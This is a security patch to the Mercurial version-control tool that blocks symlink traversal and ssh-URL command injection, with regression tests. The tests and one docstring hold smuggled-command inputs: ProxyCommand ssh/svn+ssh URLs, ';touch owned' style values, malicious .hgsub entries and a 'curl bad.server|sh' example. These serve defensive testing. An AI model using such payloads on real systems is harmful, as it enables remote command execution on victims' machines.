b87239
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
b87239
index 5c23633..e44ae51 100644
b87239
--- a/mercurial/cmdutil.py
b87239
+++ b/mercurial/cmdutil.py
b87239
@@ -2018,7 +2018,7 @@ def revert(ui, repo, ctx, parents, *pats, **opts):
b87239
                 fc = ctx[f]
b87239
                 repo.wwrite(f, fc.data(), fc.flags())
b87239
 
b87239
-            audit_path = scmutil.pathauditor(repo.root)
b87239
+            audit_path = scmutil.pathauditor(repo.root, cached=True)
b87239
             for f in remove[0]:
b87239
                 if repo.dirstate[f] == 'a':
b87239
                     repo.dirstate.drop(f)
b87239
diff --git a/mercurial/context.py b/mercurial/context.py
b87239
index 137c1f2..c3d96a0 100644
b87239
--- a/mercurial/context.py
b87239
+++ b/mercurial/context.py
b87239
@@ -360,7 +360,7 @@ class changectx(object):
b87239
         r = self._repo
b87239
         return matchmod.match(r.root, r.getcwd(), pats,
b87239
                               include, exclude, default,
b87239
-                              auditor=r.auditor, ctx=self)
b87239
+                              auditor=r.nofsauditor, ctx=self)
b87239
 
b87239
     def diff(self, ctx2=None, match=None, **opts):
b87239
         """Returns a diff generator for the given contexts and matcher"""
b87239
@@ -1137,6 +1137,13 @@ class workingctx(changectx):
b87239
             finally:
b87239
                 wlock.release()
b87239
 
b87239
+    def match(self, pats=[], include=None, exclude=None, default='glob'):
b87239
+        r = self._repo
b87239
+        return matchmod.match(r.root, r.getcwd(), pats,
b87239
+                              include, exclude, default,
b87239
+                              auditor=r.auditor, ctx=self)
b87239
+
b87239
+
b87239
     def markcommitted(self, node):
b87239
         """Perform post-commit cleanup necessary after committing this ctx
b87239
 
b87239
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
b87239
index 6fbba21..c89bdd8 100644
b87239
--- a/mercurial/dirstate.py
b87239
+++ b/mercurial/dirstate.py
b87239
@@ -695,7 +695,7 @@ class dirstate(object):
b87239
                 # unknown == True means we walked the full directory tree above.
b87239
                 # So if a file is not seen it was either a) not matching matchfn
b87239
                 # b) ignored, c) missing, or d) under a symlink directory.
b87239
-                audit_path = scmutil.pathauditor(self._root)
b87239
+                audit_path = scmutil.pathauditor(self._root, cached=True)
b87239
 
b87239
                 for nf in iter(visit):
b87239
                     # Report ignored items in the dmap as long as they are not
b87239
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
b87239
index d4d675f..dcaaf40 100644
b87239
--- a/mercurial/localrepo.py
b87239
+++ b/mercurial/localrepo.py
b87239
@@ -159,7 +159,9 @@ class localrepository(object):
b87239
         self.path = self.wvfs.join(".hg")
b87239
         self.origroot = path
b87239
         self.auditor = scmutil.pathauditor(self.root, self._checknested)
b87239
-        self.vfs = scmutil.vfs(self.path)
b87239
+        self.nofsauditor = scmutil.pathauditor(self.root, self._checknested,
b87239
+                                                realfs=False, cached=True)
b87239
+        self.vfs = scmutil.vfs(self.path, cacheaudited=True)
b87239
         self.opener = self.vfs
b87239
         self.baseui = baseui
b87239
         self.ui = baseui.copy()
b87239
@@ -220,7 +222,9 @@ class localrepository(object):
b87239
             if inst.errno != errno.ENOENT:
b87239
                 raise
b87239
 
b87239
-        self.store = store.store(requirements, self.sharedpath, scmutil.vfs)
b87239
+        self.store = store.store(
b87239
+            requirements, self.sharedpath,
b87239
+            lambda base: scmutil.vfs(base, cacheaudited=True))
b87239
         self.spath = self.store.path
b87239
         self.svfs = self.store.vfs
b87239
         self.sopener = self.svfs
b87239
diff --git a/mercurial/posix.py b/mercurial/posix.py
b87239
index a8fc82b..4f04a56 100644
b87239
--- a/mercurial/posix.py
b87239
+++ b/mercurial/posix.py
b87239
@@ -7,6 +7,7 @@
b87239
 
b87239
 from i18n import _
b87239
 import encoding
b87239
+import error ##TODOCVE
b87239
 import os, sys, errno, stat, getpass, pwd, grp, socket, tempfile, unicodedata
b87239
 
b87239
 posixfile = open
b87239
@@ -64,7 +65,13 @@ def parsepatchoutput(output_line):
b87239
 def sshargs(sshcmd, host, user, port):
b87239
     '''Build argument list for ssh'''
b87239
     args = user and ("%s@%s" % (user, host)) or host
b87239
-    return port and ("%s -p %s" % (args, port)) or args
b87239
+    if '-' in args[:1]:
b87239
+        raise error.Abort(
b87239
+            _('illegal ssh hostname or username starting with -: %s') % args)
b87239
+    args = shellquote(args)
b87239
+    if port:
b87239
+        args = '-p %s %s' % (shellquote(port), args)
b87239
+    return args
b87239
 
b87239
 def isexec(f):
b87239
     """check whether a file is executable"""
b87239
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
b87239
index f8c96c1..88a35b5 100644
b87239
--- a/mercurial/scmutil.py
b87239
+++ b/mercurial/scmutil.py
b87239
@@ -118,12 +118,22 @@ class pathauditor(object):
b87239
     - traverses a symlink (e.g. a/symlink_here/b)
b87239
     - inside a nested repository (a callback can be used to approve
b87239
       some nested repositories, e.g., subrepositories)
b87239
+
b87239
+    The file system checks are only done when 'realfs' is set to True (the
b87239
+    default). They should be disable then we are auditing path for operation on
b87239
+    stored history.
b87239
+
b87239
+    If 'cached' is set to True, audited paths and sub-directories are cached.
b87239
+    Be careful to not keep the cache of unmanaged directories for long because
b87239
+    audited paths may be replaced with symlinks.
b87239
     '''
b87239
 
b87239
-    def __init__(self, root, callback=None):
b87239
+    def __init__(self, root, callback=None, realfs=True, cached=False):
b87239
         self.audited = set()
b87239
         self.auditeddir = set()
b87239
         self.root = root
b87239
+        self._realfs = realfs
b87239
+        self._cached = cached
b87239
         self.callback = callback
b87239
         if os.path.lexists(root) and not util.checkcase(root):
b87239
             self.normcase = util.normcase
b87239
@@ -166,33 +176,39 @@ class pathauditor(object):
b87239
             normprefix = os.sep.join(normparts)
b87239
             if normprefix in self.auditeddir:
b87239
                 break
b87239
-            curpath = os.path.join(self.root, prefix)
b87239
-            try:
b87239
-                st = os.lstat(curpath)
b87239
-            except OSError, err:
b87239
-                # EINVAL can be raised as invalid path syntax under win32.
b87239
-                # They must be ignored for patterns can be checked too.
b87239
-                if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL):
b87239
-                    raise
b87239
-            else:
b87239
-                if stat.S_ISLNK(st.st_mode):
b87239
-                    raise util.Abort(
b87239
-                        _('path %r traverses symbolic link %r')
b87239
-                        % (path, prefix))
b87239
-                elif (stat.S_ISDIR(st.st_mode) and
b87239
-                      os.path.isdir(os.path.join(curpath, '.hg'))):
b87239
-                    if not self.callback or not self.callback(curpath):
b87239
-                        raise util.Abort(_("path '%s' is inside nested "
b87239
-                                           "repo %r")
b87239
-                                         % (path, prefix))
b87239
+
b87239
+            if self._realfs:
b87239
+                self._checkfs(prefix,path)
b87239
             prefixes.append(normprefix)
b87239
             parts.pop()
b87239
             normparts.pop()
b87239
 
b87239
-        self.audited.add(normpath)
b87239
-        # only add prefixes to the cache after checking everything: we don't
b87239
-        # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
b87239
-        self.auditeddir.update(prefixes)
b87239
+        if self._cached:
b87239
+            self.audited.add(normpath)
b87239
+            # only add prefixes to the cache after checking everything: we don't
b87239
+            # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
b87239
+            self.auditeddir.update(prefixes)
b87239
+
b87239
+    def _checkfs(self, prefix, path):
b87239
+        curpath = os.path.join(self.root, prefix)
b87239
+        try:
b87239
+            st = os.lstat(curpath)
b87239
+        except OSError, err:
b87239
+            # EINVAL can be raised as invalid path syntax under win32.
b87239
+            # They must be ignored for patterns can be checked too.
b87239
+            if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL):
b87239
+                raise
b87239
+        else:
b87239
+            if stat.S_ISLNK(st.st_mode):
b87239
+                raise util.Abort(
b87239
+                    _('path %r traverses symbolic link %r')
b87239
+                    % (path, prefix))
b87239
+            elif (stat.S_ISDIR(st.st_mode) and
b87239
+                  os.path.isdir(os.path.join(curpath, '.hg'))):
b87239
+                if not self.callback or not self.callback(curpath):
b87239
+                    raise util.Abort(_("path '%s' is inside nested "
b87239
+                                       "repo %r")
b87239
+                                     % (path, prefix))
b87239
 
b87239
     def check(self, path):
b87239
         try:
b87239
@@ -276,13 +292,19 @@ class vfs(abstractvfs):
b87239
 
b87239
     This class is used to hide the details of COW semantics and
b87239
     remote file access from higher level code.
b87239
+
b87239
+    'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
b87239
+    (b) the base directory is managed by hg and considered sort-of append-only.
b87239
+    See pathauditor() for details.
b87239
     '''
b87239
-    def __init__(self, base, audit=True, expandpath=False, realpath=False):
b87239
+    def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
b87239
+                 realpath=False):
b87239
         if expandpath:
b87239
             base = util.expandpath(base)
b87239
         if realpath:
b87239
             base = os.path.realpath(base)
b87239
         self.base = base
b87239
+        self._cacheaudited = cacheaudited
b87239
         self._setmustaudit(audit)
b87239
         self.createmode = None
b87239
         self._trustnlink = None
b87239
@@ -293,7 +315,8 @@ class vfs(abstractvfs):
b87239
     def _setmustaudit(self, onoff):
b87239
         self._audit = onoff
b87239
         if onoff:
b87239
-            self.audit = pathauditor(self.base)
b87239
+            self.audit = pathauditor(
b87239
+                self.base, cached=self._cacheaudited)
b87239
         else:
b87239
             self.audit = util.always
b87239
 
b87239
@@ -685,8 +708,9 @@ def addremove(repo, pats=[], opts={}, dry_run=None, similarity=None):
b87239
     if similarity is None:
b87239
         similarity = float(opts.get('similarity') or 0)
b87239
     # we'd use status here, except handling of symlinks and ignore is tricky
b87239
+    ##NOTE _interestingfiles() ##
b87239
     added, unknown, deleted, removed = [], [], [], []
b87239
-    audit_path = pathauditor(repo.root)
b87239
+    audit_path = pathauditor(repo.root, cached=True)
b87239
     m = match(repo[None], pats, opts)
b87239
     rejected = []
b87239
     m.bad = lambda x, y: rejected.append(x)
b87239
diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
b87239
index 71fed08..5f46b70 100644
b87239
--- a/mercurial/sshpeer.py
b87239
+++ b/mercurial/sshpeer.py
b87239
@@ -35,6 +35,8 @@ class sshpeer(wireproto.wirepeer):
b87239
         if u.scheme != 'ssh' or not u.host or u.path is None:
b87239
             self._abort(error.RepoError(_("couldn't parse location %s") % path))
b87239
 
b87239
+        util.checksafessh(path)
b87239
+
b87239
         self.user = u.user
b87239
         if u.passwd is not None:
b87239
             self._abort(error.RepoError(_("password in URL not supported")))
b87239
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
b87239
index 7286f06..6347ace 100644
b87239
--- a/mercurial/subrepo.py
b87239
+++ b/mercurial/subrepo.py
b87239
@@ -969,6 +969,10 @@ class svnsubrepo(abstractsubrepo):
b87239
         # The revision must be specified at the end of the URL to properly
b87239
         # update to a directory which has since been deleted and recreated.
b87239
         args.append('%s@%s' % (state[0], state[1]))
b87239
+
b87239
+        # SEC: check that the ssh url is safe
b87239
+        util.checksafessh(state[0])
b87239
+
b87239
         status, err = self._svncommand(args, failok=True)
b87239
         if not re.search('Checked out revision [0-9]+.', status):
b87239
             if ('is already a working copy for a different URL' in err
b87239
@@ -1172,6 +1176,9 @@ class gitsubrepo(abstractsubrepo):
b87239
 
b87239
     def _fetch(self, source, revision):
b87239
         if self._gitmissing():
b87239
+            # SEC: check for safe ssh url
b87239
+            util.checksafessh(source)
b87239
+
b87239
             source = self._abssource(source)
b87239
             self._ui.status(_('cloning subrepo %s from %s\n') %
b87239
                             (self._relpath, source))
b87239
diff --git a/mercurial/util.py b/mercurial/util.py
b87239
index 8ea36bb..36d507d 100644
b87239
--- a/mercurial/util.py
b87239
+++ b/mercurial/util.py
b87239
@@ -1863,6 +1863,21 @@ def hasdriveletter(path):
b87239
 def urllocalpath(path):
b87239
     return url(path, parsequery=False, parsefragment=False).localpath()
b87239
 
b87239
+def checksafessh(path):
b87239
+    """check if a path / url is a potentially unsafe ssh exploit (SEC)
b87239
+
b87239
+    This is a sanity check for ssh urls. ssh will parse the first item as
b87239
+    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
b87239
+    Let's prevent these potentially exploited urls entirely and warn the
b87239
+    user.
b87239
+
b87239
+    Raises an error.Abort when the url is unsafe.
b87239
+    """
b87239
+    path = urllib.unquote(path)
b87239
+    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
b87239
+        raise error.Abort(_('potentially unsafe url: %r') %
b87239
+                          (path,))
b87239
+
b87239
 def hidepassword(u):
b87239
     '''hide user credential in a url string'''
b87239
     u = url(u)
b87239
diff --git a/mercurial/windows.py b/mercurial/windows.py
b87239
index 1e8a623..40a5a50 100644
b87239
--- a/mercurial/windows.py
b87239
+++ b/mercurial/windows.py
b87239
@@ -6,7 +6,7 @@
b87239
 # GNU General Public License version 2 or any later version.
b87239
 
b87239
 from i18n import _
b87239
-import osutil, encoding
b87239
+import osutil, encoding, error ##TODOCVE
b87239
 import errno, msvcrt, os, re, stat, sys, _winreg
b87239
 
b87239
 import win32
b87239
@@ -100,7 +100,14 @@ def sshargs(sshcmd, host, user, port):
b87239
     '''Build argument list for ssh or Plink'''
b87239
     pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
b87239
     args = user and ("%s@%s" % (user, host)) or host
b87239
-    return port and ("%s %s %s" % (args, pflag, port)) or args
b87239
+    if args.startswith('-') or args.startswith('/'):
b87239
+        raise error.Abort(
b87239
+            _('illegal ssh hostname or username starting with - or /: %s') %
b87239
+            args)
b87239
+    args = shellquote(args)
b87239
+    if port:
b87239
+        args = '%s %s %s' % (pflag, shellquote(port), args)
b87239
+    return args
b87239
 
b87239
 def setflags(f, l, x):
b87239
     pass
b87239
diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
b87239
index 5f49e7f..08d61bb 100644
b87239
--- a/tests/test-audit-path.t
b87239
+++ b/tests/test-audit-path.t
b87239
@@ -27,6 +27,45 @@ should still fail - maybe
b87239
   abort: path 'b/b' traverses symbolic link 'b' (glob)
b87239
   [255]
b87239
 
b87239
+  $ hg commit -m 'add symlink b'
b87239
+
b87239
+
b87239
+Test symlink traversing when accessing history:
b87239
+-----------------------------------------------
b87239
+
b87239
+(build a changeset where the path exists as a directory)
b87239
+
b87239
+  $ hg up 0
b87239
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
b87239
+  $ mkdir b
b87239
+  $ echo c > b/a
b87239
+  $ hg add b/a
b87239
+  $ hg ci -m 'add directory b'
b87239
+  created new head
b87239
+
b87239
+Test that hg cat does not do anything wrong the working copy has 'b' as directory
b87239
+
b87239
+  $ hg cat b/a
b87239
+  c
b87239
+  $ hg cat -r "desc(directory)" b/a
b87239
+  c
b87239
+  $ hg cat -r "desc(symlink)" b/a
b87239
+  b/a: no such file in rev bc151a1f53bd
b87239
+  [1]
b87239
+
b87239
+Test that hg cat does not do anything wrong the working copy has 'b' as a symlink (issue4749)
b87239
+
b87239
+  $ hg up 'desc(symlink)'
b87239
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
b87239
+  $ hg cat b/a
b87239
+  b/a: no such file in rev bc151a1f53bd
b87239
+  [1]
b87239
+  $ hg cat -r "desc(directory)" b/a
b87239
+  c
b87239
+  $ hg cat -r "desc(symlink)" b/a
b87239
+  b/a: no such file in rev bc151a1f53bd
b87239
+  [1]
b87239
+
b87239
 #endif
b87239
 
b87239
 
b87239
@@ -90,3 +129,90 @@ attack /tmp/test
b87239
   [255]
b87239
 
b87239
   $ cd ..
b87239
+
b87239
+Test symlink traversal on merge:
b87239
+--------------------------------
b87239
+
b87239
+#if symlink
b87239
+
b87239
+set up symlink hell
b87239
+
b87239
+  $ mkdir merge-symlink-out
b87239
+  $ hg init merge-symlink
b87239
+  $ cd merge-symlink
b87239
+  $ touch base
b87239
+  $ hg commit -qAm base
b87239
+  $ ln -s ../merge-symlink-out a
b87239
+  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
b87239
+  $ hg up -q 0
b87239
+  $ mkdir a
b87239
+  $ touch a/poisoned
b87239
+  $ hg commit -qAm 'file a/poisoned'
b87239
+  $ hg log -G '{rev}: {desc}\n'
b87239
+
b87239
+try trivial merge
b87239
+
b87239
+  $ hg up -qC 1
b87239
+  $ hg merge 2
b87239
+  abort: path 'a/poisoned' traverses symbolic link 'a'
b87239
+  [255]
b87239
+
b87239
+try rebase onto other revision: cache of audited paths should be discarded,
b87239
+and the rebase should fail (issue5628)
b87239
+
b87239
+  $ hg up -qC 2
b87239
+  $ hg rebase -s 2 -d 1 --config extensions.rebase=
b87239
+  abort: path 'a/poisoned' traverses symbolic link 'a'
b87239
+  [255]
b87239
+  $ ls ../merge-symlink-out
b87239
+
b87239
+  $ cd ..
b87239
+
b87239
+Test symlink traversal on update:
b87239
+---------------------------------
b87239
+
b87239
+  $ mkdir update-symlink-out
b87239
+  $ hg init update-symlink
b87239
+  $ cd update-symlink
b87239
+  $ ln -s ../update-symlink-out a
b87239
+  $ hg commit -qAm 'symlink a -> ../update-symlink-out'
b87239
+  $ hg rm a
b87239
+  $ mkdir a && touch a/b
b87239
+  $ hg ci -qAm 'file a/b' a/b
b87239
+  $ hg up -qC 0
b87239
+  $ hg rm a
b87239
+  $ mkdir a && touch a/c
b87239
+  $ hg ci -qAm 'rm a, file a/c'
b87239
+  $ hg log -G '{rev}: {desc}\n'
b87239
+
b87239
+try linear update where symlink already exists:
b87239
+
b87239
+  $ hg up -qC 0
b87239
+  $ hg up 1
b87239
+  abort: path 'a/b' traverses symbolic link 'a'
b87239
+  [255]
b87239
+
b87239
+try linear update including symlinked directory and its content: paths are
b87239
+audited first by calculateupdates(), where no symlink is created so both
b87239
+'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
b87239
+
b87239
+  $ hg up -qC null
b87239
+  $ hg up 1
b87239
+  abort: path 'a/b' traverses symbolic link 'a'
b87239
+  [255]
b87239
+  $ ls ../update-symlink-out
b87239
+
b87239
+try branch update replacing directory with symlink, and its content: the
b87239
+path 'a' is audited as a directory first, which should be audited again as
b87239
+a symlink.
b87239
+
b87239
+  $ rm -f a
b87239
+  $ hg up -qC 2
b87239
+  $ hg up 1
b87239
+  abort: path 'a/b' traverses symbolic link 'a'
b87239
+  [255]
b87239
+  $ ls ../update-symlink-out
b87239
+
b87239
+  $ cd ..
b87239
+
b87239
+#endif
b87239
diff --git a/tests/test-clone.t b/tests/test-clone.t
b87239
index 55e8a4a..2b09c4e 100644
b87239
--- a/tests/test-clone.t
b87239
+++ b/tests/test-clone.t
b87239
@@ -621,3 +621,66 @@ re-enable perm to allow deletion
b87239
 #endif
b87239
 
b87239
   $ cd ..
b87239
+
b87239
+SEC: check for unsafe ssh url
b87239
+
b87239
+  $ cat >> $HGRCPATH << EOF
b87239
+  > [ui]
b87239
+  > ssh = sh -c "read l; read l; read l"
b87239
+  > EOF
b87239
+
b87239
+  $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
b87239
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
b87239
+  [255]
b87239
+  $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
b87239
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
b87239
+  [255]
b87239
+  $ hg clone 'ssh://fakehost|touch%20owned/path'
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+  $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+
b87239
+  $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
b87239
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
b87239
+  [255]
b87239
+
b87239
+#if windows
b87239
+  $ hg clone "ssh://%26touch%20owned%20/" --debug
b87239
+  running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
b87239
+  sending hello command
b87239
+  sending between command
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+  $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
b87239
+  running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
b87239
+  sending hello command
b87239
+  sending between command
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+#else
b87239
+  $ hg clone "ssh://%3btouch%20owned%20/" --debug
b87239
+  running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
b87239
+  sending hello command
b87239
+  sending between command
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+  $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
b87239
+  running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
b87239
+  sending hello command
b87239
+  sending between command
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+#endif
b87239
+
b87239
+  $ hg clone "ssh://v-alid.example.com/" --debug
b87239
+  running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
b87239
+  sending hello command
b87239
+  sending between command
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+
b87239
+We should not have created a file named owned - if it exists, the
b87239
+attack succeeded.
b87239
+  $ if test -f owned; then echo 'you got owned'; fi
b87239
diff --git a/tests/test-pull.t b/tests/test-pull.t
b87239
index 01356a6..c08f0a7 100644
b87239
--- a/tests/test-pull.t
b87239
+++ b/tests/test-pull.t
b87239
@@ -89,4 +89,26 @@ regular shell commands.
b87239
   $ URL=`python -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
b87239
   $ hg pull -q "$URL"
b87239
 
b87239
+SEC: check for unsafe ssh url
b87239
+
b87239
+  $ cat >> $HGRCPATH << EOF
b87239
+  > [ui]
b87239
+  > ssh = sh -c "read l; read l; read l"
b87239
+  > EOF
b87239
+
b87239
+  $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
b87239
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
b87239
+  [255]
b87239
+  $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
b87239
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
b87239
+  [255]
b87239
+  $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+  $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+
b87239
+  $ [ ! -f owned ] || echo 'you got owned'
b87239
+
b87239
   $ cd ..
b87239
diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t
b87239
index 24cb6a2..70a09ce 100644
b87239
--- a/tests/test-subrepo-git.t
b87239
+++ b/tests/test-subrepo-git.t
b87239
@@ -564,7 +564,7 @@ test for Git CVE-2016-3068
b87239
   $ cd malicious-subrepository
b87239
   $ echo "s = [git]ext::sh -c echo% pwned% >&2" > .hgsub
b87239
   $ git init s
b87239
-  Initialized empty Git repository in $TESTTMP/tc/malicious-subrepository/s/.git/
b87239
+  Initialized empty Git repository in $TESTTMP/malicious-subrepository/s/.git/
b87239
   $ cd s
b87239
   $ git commit --allow-empty -m 'empty'
b87239
   [master (root-commit) 153f934] empty
b87239
@@ -573,7 +573,7 @@ test for Git CVE-2016-3068
b87239
   $ hg commit -m "add subrepo"
b87239
   $ cd ..
b87239
   $ env -u GIT_ALLOW_PROTOCOL hg clone malicious-subrepository malicious-subrepository-protected
b87239
-  Cloning into '$TESTTMP/tc/malicious-subrepository-protected/s'...
b87239
+  Cloning into '$TESTTMP/malicious-subrepository-protected/s'...
b87239
   fatal: transport 'ext' not allowed
b87239
   updating to branch default
b87239
   cloning subrepo s from ext::sh -c echo% pwned% >&2
b87239
@@ -582,7 +582,6 @@ test for Git CVE-2016-3068
b87239
 
b87239
 whitelisting of ext should be respected (that's the git submodule behaviour)
b87239
   $ env GIT_ALLOW_PROTOCOL=ext hg clone malicious-subrepository malicious-subrepository-clone-allowed
b87239
-  Cloning into '$TESTTMP/tc/malicious-subrepository-clone-allowed/s'...
b87239
   pwned
b87239
   fatal: Could not read from remote repository.
b87239
   
b87239
@@ -592,3 +591,35 @@ whitelisting of ext should be respected (that's the git submodule behaviour)
b87239
   cloning subrepo s from ext::sh -c echo% pwned% >&2
b87239
   abort: git clone error 128 in s (in subrepo s)
b87239
   [255]
b87239
+
b87239
+test for ssh exploit with git subrepos 2017-07-25
b87239
+
b87239
+  $ hg init malicious-proxycommand
b87239
+  $ cd malicious-proxycommand
b87239
+  $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
b87239
+  $ git init s
b87239
+  Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
b87239
+  $ cd s
b87239
+  $ git commit --allow-empty -m 'empty'
b87239
+  [master (root-commit) 153f934] empty
b87239
+  $ cd ..
b87239
+  $ hg add .hgsub
b87239
+  $ hg ci -m 'add subrepo'
b87239
+  $ cd ..
b87239
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
b87239
+  updating to branch default
b87239
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
b87239
+  [255]
b87239
+
b87239
+also check that a percent encoded '-' (%2D) doesn't work
b87239
+
b87239
+  $ cd malicious-proxycommand
b87239
+  $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
b87239
+  $ hg ci -m 'change url to percent encoded'
b87239
+  $ cd ..
b87239
+  $ rm -r malicious-proxycommand-clone
b87239
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
b87239
+  updating to branch default
b87239
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
b87239
+  [255]
b87239
+
b87239
diff --git a/tests/test-subrepo-svn.t b/tests/test-subrepo-svn.t
b87239
index dde08d0..1216808 100644
b87239
--- a/tests/test-subrepo-svn.t
b87239
+++ b/tests/test-subrepo-svn.t
b87239
@@ -623,3 +623,43 @@ well.
b87239
   Checked out revision 15.
b87239
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
b87239
   $ cd ..
b87239
+
b87239
+SEC: test for ssh exploit
b87239
+
b87239
+  $ hg init ssh-vuln
b87239
+  $ cd ssh-vuln
b87239
+  $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
b87239
+  $ svn co --quiet "$SVNREPOURL"/src s
b87239
+  $ hg add .hgsub
b87239
+  $ hg ci -m1
b87239
+  $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
b87239
+  $ hg ci -m2
b87239
+  $ cd ..
b87239
+  $ hg clone ssh-vuln ssh-vuln-clone
b87239
+  updating to branch default
b87239
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
b87239
+  [255]
b87239
+
b87239
+also check that a percent encoded '-' (%2D) doesn't work
b87239
+
b87239
+  $ cd ssh-vuln
b87239
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
b87239
+  $ hg ci -m3
b87239
+  $ cd ..
b87239
+  $ rm -r ssh-vuln-clone
b87239
+  $ hg clone ssh-vuln ssh-vuln-clone
b87239
+  updating to branch default
b87239
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
b87239
+  [255]
b87239
+
b87239
+also check that hiding the attack in the username doesn't work:
b87239
+
b87239
+  $ cd ssh-vuln
b87239
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
b87239
+  $ hg ci -m3
b87239
+  $ cd ..
b87239
+  $ rm -r ssh-vuln-clone
b87239
+  $ hg clone ssh-vuln ssh-vuln-clone
b87239
+  updating to branch default
b87239
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s)
b87239
+  [255]
b87239
diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t
b87239
index c0d017c..d4bde48 100644
b87239
--- a/tests/test-subrepo.t
b87239
+++ b/tests/test-subrepo.t
b87239
@@ -1214,3 +1214,77 @@ Courtesy phases synchronisation to publishing server does not block the push
b87239
   no changes found
b87239
   [1]
b87239
 
b87239
+
b87239
+test for ssh exploit 2017-07-25
b87239
+
b87239
+  $ cat >> $HGRCPATH << EOF
b87239
+  > [ui]
b87239
+  > ssh = sh -c "read l; read l; read l"
b87239
+  > EOF
b87239
+
b87239
+  $ hg init malicious-proxycommand
b87239
+  $ cd malicious-proxycommand
b87239
+  $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
b87239
+  $ hg init s
b87239
+  $ cd s
b87239
+  $ echo init > init
b87239
+  $ hg add
b87239
+  adding init
b87239
+  $ hg commit -m init
b87239
+  $ cd ..
b87239
+  $ hg add .hgsub
b87239
+  $ hg ci -m 'add subrepo'
b87239
+  $ cd ..
b87239
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
b87239
+  updating to branch default
b87239
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
b87239
+  [255]
b87239
+
b87239
+also check that a percent encoded '-' (%2D) doesn't work
b87239
+
b87239
+  $ cd malicious-proxycommand
b87239
+  $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
b87239
+  $ hg ci -m 'change url to percent encoded'
b87239
+  $ cd ..
b87239
+  $ rm -r malicious-proxycommand-clone
b87239
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
b87239
+  updating to branch default
b87239
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
